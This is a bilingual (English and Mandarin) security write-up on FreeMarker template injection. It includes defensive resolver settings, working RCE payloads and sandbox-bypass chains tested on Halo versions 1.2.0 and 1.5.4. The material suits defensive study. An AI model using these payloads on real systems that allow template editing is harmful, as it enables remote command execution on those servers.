FreeMarker Template Injection
FreeMarker Template Injection
This article discusses the principles of FreeMarker template injection, common payloads, defense mechanisms, and sandbox bypass techniques.
Common Payloads
During vulnerability assessment, FreeMarker template injection points are typically found in template editing sections. A general payload example is:
<#assign test="freemarker.template.utility.Execute"?new()> ${test("open /Applications/Calculator.app")}
The vulnerability arises from FreeMarker's built-in ?new function, which can create an object implementing the freemarker.template.TemplateModel class. This payload triggers the exec method in freemarker.template.utility.Execute.
Other payload examples include:
<#assign value="freemarker.template.utility.ObjectConstructor"?new()>${value("java.lang.ProcessBuilder","whoami").start()}
<#assign value="freemarker.template.utility.JythonRuntime"?new()><@value>import os;os.system("calc.exe")
These payloads operate on similar principles.
Defense Measures
To prevent template injection when FreeMarker allows template editing, it's common to use Configuration.setNewBuiltinClassResolver(TemplateClassResolver) or set new_builtin_class_resolver to restrict class access via the ?new built-in function (available from version 2.3.17). The configuration options are:
UNRESTRICTED_RESOLVER: Allows access to any class via ClassUtil.forName(String).
SAFER_RESOLVER: Prohibits loading ObjectConstructor, Execute, and freemarker.template.utility.JythonRuntime classes.
ALLOWS_NOTHING_RESOLVER: Prohibits resolving any class.
Examples of systems that have implemented fixes:
Halo Blog
https://github.com/halo-dev/halo/commit/dc3a73ee02ca183c509dedf703db28c80219c41c
Craftercms
https://github.com/craftercms/engine/commit/2e249287412eca92828988b83b280921fe3332df
Both set NewBuiltinClassResolver to SAFER_RESOLVER. With this configuration, the aforementioned payloads will result in errors.
Additionally, FreeMarker's ?api built-in function can be used for attacks. However, ?api is only effective when the api_builtin_enabled configuration is set to true, which defaults to false in versions after 2.3.22.
An example payload using ?api for RCE:
freemarker
<#assign classLoader=object?api.class.protectionDomain.classLoader>
<#assign clazz=classLoader.loadClass("ClassExposingGSON")>
<#assign field=clazz?api.getField("GSON")>
<#assign gson=field?api.get(null)>
<#assign ex=gson?api.fromJson("{}", classLoader.loadClass("freemarker.template.utility.Execute"))>
${ex("id")}
With default configurations, this results in an error.
FreeMarker Sandbox Bypass
According to a 2020 presentation by Pwntester, there are payloads that can bypass the sandbox in versions below 2.3.30.
Bypassing via class.getClassLoader to Reflectively Load the Execute Class:
<#assign classloader=<<object>>.class.protectionDomain.classLoader>
<#assign owc=classloader.loadClass("freemarker.template.ObjectWrapper")>
<#assign dwf=owc.getField("DEFAULT_WRAPPER").get(null)>
<#assign ec=classloader.loadClass("freemarker.template.utility.Execute")>
${dwf.newInstance(ec,null)("id")}
This payload uses java.security.ProtectionDomain's getClassLoader method to obtain the class loader and then reflectively invokes the Execute class. It requires finding an object variable in the data model.
For example, in Halo version 1.2.0 with FreeMarker version 2.3.29 and NewBuiltinClassResolver configured, editing links.ftl with the payload results in:
<@linkTag method="list">
<#if links?? && links?size gt 0>
<#list links as link>
<p>
<#assign classloader=link.class.protectionDomain.classLoader>
<#assign owc=classloader.loadClass("freemarker.template.ObjectWrapper")>
<#assign dwf=owc.getField("DEFAULT_WRAPPER").get(null)>
<#assign ec=classloader.loadClass("freemarker.template.utility.Execute")>
${dwf.newInstance(ec,null)("id")}
<a href="${link.url}" target="_blank" rel="external">${link.name}</a>
<#if link.description!=''>
This demonstrates the potential for sandbox bypass in certain configurations.
Bypassing the Sandbox via Spring Beans
This technique is applicable when FreeMarker is integrated with Spring, and the configuration exposes Spring macro helpers. The steps involve accessing the springMacroRequestContext to obtain the Spring application context, then disabling the sandbox by overriding the NewBuiltinClassResolver. Here's an example payload:
<#assign ac=springMacroRequestContext.webApplicationContext>
<#assign fc=ac.getBean('freeMarkerConfiguration')>
<#assign dcr=fc.getDefaultConfiguration().getNewBuiltinClassResolver()>
<#assign VOID=fc.setNewBuiltinClassResolver(dcr)>
${"freemarker.template.utility.Execute"?new()("id")}
This payload effectively disables the sandbox, allowing unrestricted use of FreeMarker's ?new function.
Testing Halo 1.5.4 with FreeMarker
Sandbox Bypass Payload
- The initial payload failed because
<<object>>.class.protectionDomain.classLoader
could not be accessed, although<<object>>.class.protectionDomain
was readable. - Further analysis of the MemberAccessPolicy introduced in FreeMarker 2.3.30 revealed a corresponding rules file, DefaultMemberAccessPolicy-rules.
- The file indicated that ProtectionDomain.getClassLoader is blocked starting from version 2.3.30.
- Attempts to bypass using
<<object>>.class.module.classLoader
also failed because java.lang.Class.getModule is disallowed, though methods like getProtectionDomain and getName remain accessible. - Methods listed under @whitelistPolicyAssignable are whitelisted unless prefixed with #, indicating they are blocked.
Sandbox Disabling Payload
Testing the sandbox-disabling payload failed due to springMacroRequestContext being inaccessible, as the expose-spring-macro-helpers setting in Halo 1.5.4 was set to false.
After enabling expose-spring-macro-helpers, the payload executed successfully.
Example payload inserted into archive.ftl:
<#assign ac=springMacroRequestContext.webApplicationContext>
<#assign fc=ac.getBean('freeMarkerConfiguration')>
<#assign dcr=fc.getDefaultConfiguration().getNewBuiltinClassResolver()>
<#assign VOID=fc.setNewBuiltinClassResolver(dcr)>
${"freemarker.template.utility.Execute"?new()("id")}
Conclusion
- FreeMarker versions below 2.3.30 are vulnerable unless new-builtin-class-resolver is properly configured.
- For versions above 2.3.30, if expose-spring-macro-helpers is set to true, sandbox-disabling payloads can still execute.
- Additional tricks, such as using staticModels or Apache Camel, also require specific project configurations to be exploitable.
- As per FreeMarker’s documentation, if template editors cannot be fully trusted, configuring WhitelistMemberAccessPolicy is the only secure option.
Ordinary Mandarin Version:
漏洞挖掘时freemarker模版注入位置一般出现在模板编辑处
freemarker通用payload
<#assign test="freemarker.template.utility.Execute"?new()> ${test("open /Applications/Calculator.app")}
漏洞原理是使用了freemarker内置函数?new
,可以用来创建一个实现freemarker.template.TemplateModel 类的对象
该payload触发位置在freemarker.template.utility.Execute中
的exec
方法
调用栈如下
exec:80, Execute (freemarker.template.utility)
_eval:65, MethodCall (freemarker.core)
eval:81, Expression (freemarker.core)
calculateInterpolatedStringOrMarkup:96, DollarVariable (freemarker.core)
accept:59, DollarVariable (freemarker.core)
visit:327, Environment (freemarker.core)
visit:333, Environment (freemarker.core)
process:306, Environment (freemarker.core)
process:386, Template (freemarker.template)
test:58, FreemarkerController (com.spring.controller)
其他poc1
<#assign value="freemarker.template.utility.ObjectConstructor"?new()>${value("java.lang.ProcessBuilder","whoami").start()}
其他poc2
<#assign value="freemarker.template.utility.JythonRuntime"?new()><@value>import os;os.system("calc.exe")
以上两个payload和通用payload是类似的原理
当freemarker存在编辑模板功能时,为了防止模板注入,通常的防御手段为
使用 Configuration.setNewBuiltinClassResolver(TemplateClassResolver)
或设置 new_builtin_class_resolver
来限制这个内建函数对类的访问(从 2.3.17版开始),该配置有以下三种参数
- UNRESTRICTED_RESOLVER:可以通过
ClassUtil.forName(String)
获得任何类。 - SAFER_RESOLVER:禁止加载
ObjectConstructor
,Execute
和freemarker.template.utility.JythonRuntime
这三个类 - ALLOWS_NOTHING_RESOLVER:禁止解析任何类。
举例两个存在模板注入的系统修复方式:
Halo博客系统
https://github.com/halo-dev/halo/commit/dc3a73ee02ca183c509dedf703db28c80219c41c
craftercms
https://github.com/craftercms/engine/commit/2e249287412eca92828988b83b280921fe3332df
以上两种不同写法均为配置NewBuiltinClassResolver为SAFER_RESOLVER
使用该配置后再用上述payload攻击会有如下报错
除了?new
之外freemarker中还能用来攻击的内置函数是?api
, 但api
内建函数并不能随意使用,其必须在配置项api_builtin_enabled
为true
时才有效,而该配置在2.3.22
版本之后默认为false
。
使用?api攻击载荷执行rce
这里的object
是一个BeanWrapper
,它是模板自带的数据模型之一
<#assign classLoader=object?api.class.protectionDomain.classLoader>
<#assign clazz=classLoader.loadClass("ClassExposingGSON")>
<#assign field=clazz?api.getField("GSON")>
<#assign gson=field?api.get(null)>
<#assign ex=gson?api.fromJson("{}", classLoader.loadClass("freemarker.template.utility.Execute"))>
${ex("id")}
默认配置下将得到如图报错
freemarker沙箱绕过
在中文互联网上搜索freemaker模版注入内容绝大部分只有前文内容,但实际上根据Pwntester 2020年的议题 https://media.defcon.org/DEF CON 28/DEF CON Safe Mode presentations/DEF CON Safe Mode - Alvaro Muñoz and Oleksandr Mirosh - Room For Escape Scribbling Outside The Lines Of Template Security.pdf 可以发掘两个在2.3.30以下绕过沙箱的payload
1.绕过class.getClassloader反射加载Execute类
<#assign classloader=<<object>>.class.protectionDomain.classLoader>
<#assign owc=classloader.loadClass("freemarker.template.ObjectWrapper")>
<#assign dwf=owc.getField("DEFAULT_WRAPPER").get(null)>
<#assign ec=classloader.loadClass("freemarker.template.utility.Execute")>
${dwf.newInstance(ec,null)("id")}
这个payload主要是使用java.security.protectionDomain的getClassLoader方法来获得类加载器再一步一步反射调用Execute类
此payload
需要在数据模型中找到一个作为对象的变量
以halo1.2.0
举例,其freemarker版本为2.3.29
,并配置了NewBuiltinClassResolve
,编辑links.ftl
html
<@linkTag method="list">
<#if links?? && links?size gt 0>
<#list links as link>
<p>
<#assign classloader=link.class.protectionDomain.classLoader>
<#assign owc=classloader.loadClass("freemarker.template.ObjectWrapper")>
<#assign dwf=owc.getField("DEFAULT_WRAPPER").get(null)>
<#assign ec=classloader.loadClass("freemarker.template.utility.Execute")>
${dwf.newInstance(ec,null)("id")}
<a href="${link.url}" target="_blank" rel="external">${link.name}</a>
<#if link.description!=''>
– ${link.description}
</#if>
</p>
</#list>
</#if>
</@linkTag>
在原来代码中的
便签后插入payload,替换payload中的<<object>>
为link
访问links即可攻击成功
2.如果Spring Beans可用,可以直接禁用沙箱
此payload
同样可用于halo 1.2.0
版本
这个payload需要freemarker+spring并设置 setExposeSpringMacroHelpers(true)
或是application.propertices中配置spring.freemarker.expose-spring-macro-helpers=true
payload如下
<#assign ac=springMacroRequestContext.webApplicationContext>
<#assign fc=ac.getBean('freeMarkerConfiguration')>
<#assign dcr=fc.getDefaultConfiguration().getNewBuiltinClassResolver()>
<#assign VOID=fc.setNewBuiltinClassResolver(dcr)>${"freemarker.template.utility.Execute"?new()("id")}
据Pwntester议题所说freemarker在2.3.30中引入了一个基于MemberAccessPolicy的新沙箱,绕过沙箱的payload不可再使用
各种搜索后并没有找到该沙箱如何配置,下载halo1.4.7发现使用freemarker 2.3.31,并已经去掉了上次fix issue的配置内容,导致我以为MemberAccessPolicy无需配置,但发现使用<#assign test="freemarker.template.utility.Execute"?new()> ${test("id")}
这个最初的payload就可以直接攻击该版本
经过各种搜索,终于在JetBrains YouTrack
对CVE-2021-25770
的修复中发现了一处对MemberAccessPolicy
接口的使用
存在StrictMemberAccessPolicy
类实现MemberAccessPolicy
接口
在EntityExtendedBeansWrapper
中使用setMemberAccessPolicy(new StrictMemberAccessPolicy())
来配置MemberAccessPolicy
因为youtrack用了自定义类实现MemberAccessPolicy来修复ssti漏洞,让我误以为MemberAccessPolicy确实需要手动实现并配置
halo 1.5.4测试
对halo1.5.4的测试让我意识到2.3.30以上不用自定义类实现MemberAccessPolicy,其默认使用DefaultMemberAccessPolicy,但必须同时配置new-builtin-class-resolver,否则用最开始的payload即可攻击
测试过程如下
1.首先使用绕过沙箱的payload,发现执行不成功,原因是<<object>>.class.protectionDomain.classLoader
无法取到值
但<<object>>.class.protectionDomain
可以读到值
再次分析其在2.3.30以上引入的memberAccessPolicy策略
发现DefaultMemberAccessPolicy有个对应的DefaultMemberAccessPolicy-rules文件
查看DefaultMemberAccessPolicy-rules,可以看到ProtectionDomain.getClassLoader在2.3.30开始已经被block
根据spring4shell的思路尝试使用<<object>>.class.module.classLoader
绕过,发现也不行
查看rule可以看到java.lang.Class.getModule同样被disallowed,而getProtectionDomain,getName等等则是可以访问的
@whitelistPolicyAssignable的意思是这个类下面被列出来的方法就是白名单方法,如果前面有#的就不再是白名单方法
2.使用禁用沙箱payload,发现报错无法取到springMacroRequestContext值
halo-1.5.4设置expose-spring-macro-helpers为false,在该配置下无法禁用沙箱
修改为true,发现依然可以执行禁用沙箱payload
编辑archive.ftl,添加payload
<#assign ac=springMacroRequestContext.webApplicationContext>
<#assign fc=ac.getBean('freeMarkerConfiguration')>
<#assign dcr=fc.getDefaultConfiguration().getNewBuiltinClassResolver()>
<#assign VOID=fc.setNewBuiltinClassResolver(dcr)>${"freemarker.template.utility.Execute"?new()("id")}
得出结论,如果使用freemarker并给予编辑模版权限,除非freemarker版本在2.3.30及以上并配置new-builtin-class-resolver,否则均可被攻击。即使达到如上条件,如果expose-spring-macro-helpers为true,依然可以执行命令
除此之外,pwntester给的文档里面还提到了其他可以利用的trick
freemarker staticModels
Apache Camel
这些payload和springMacroRequestContext一样均需要项目作出相应的配置
因此按照freemarker在关于MemberAccessPolicy策略的文档说,如果不完全信任编辑模版的用户,WhitelistMemberAccessPolicy是唯一安全的配置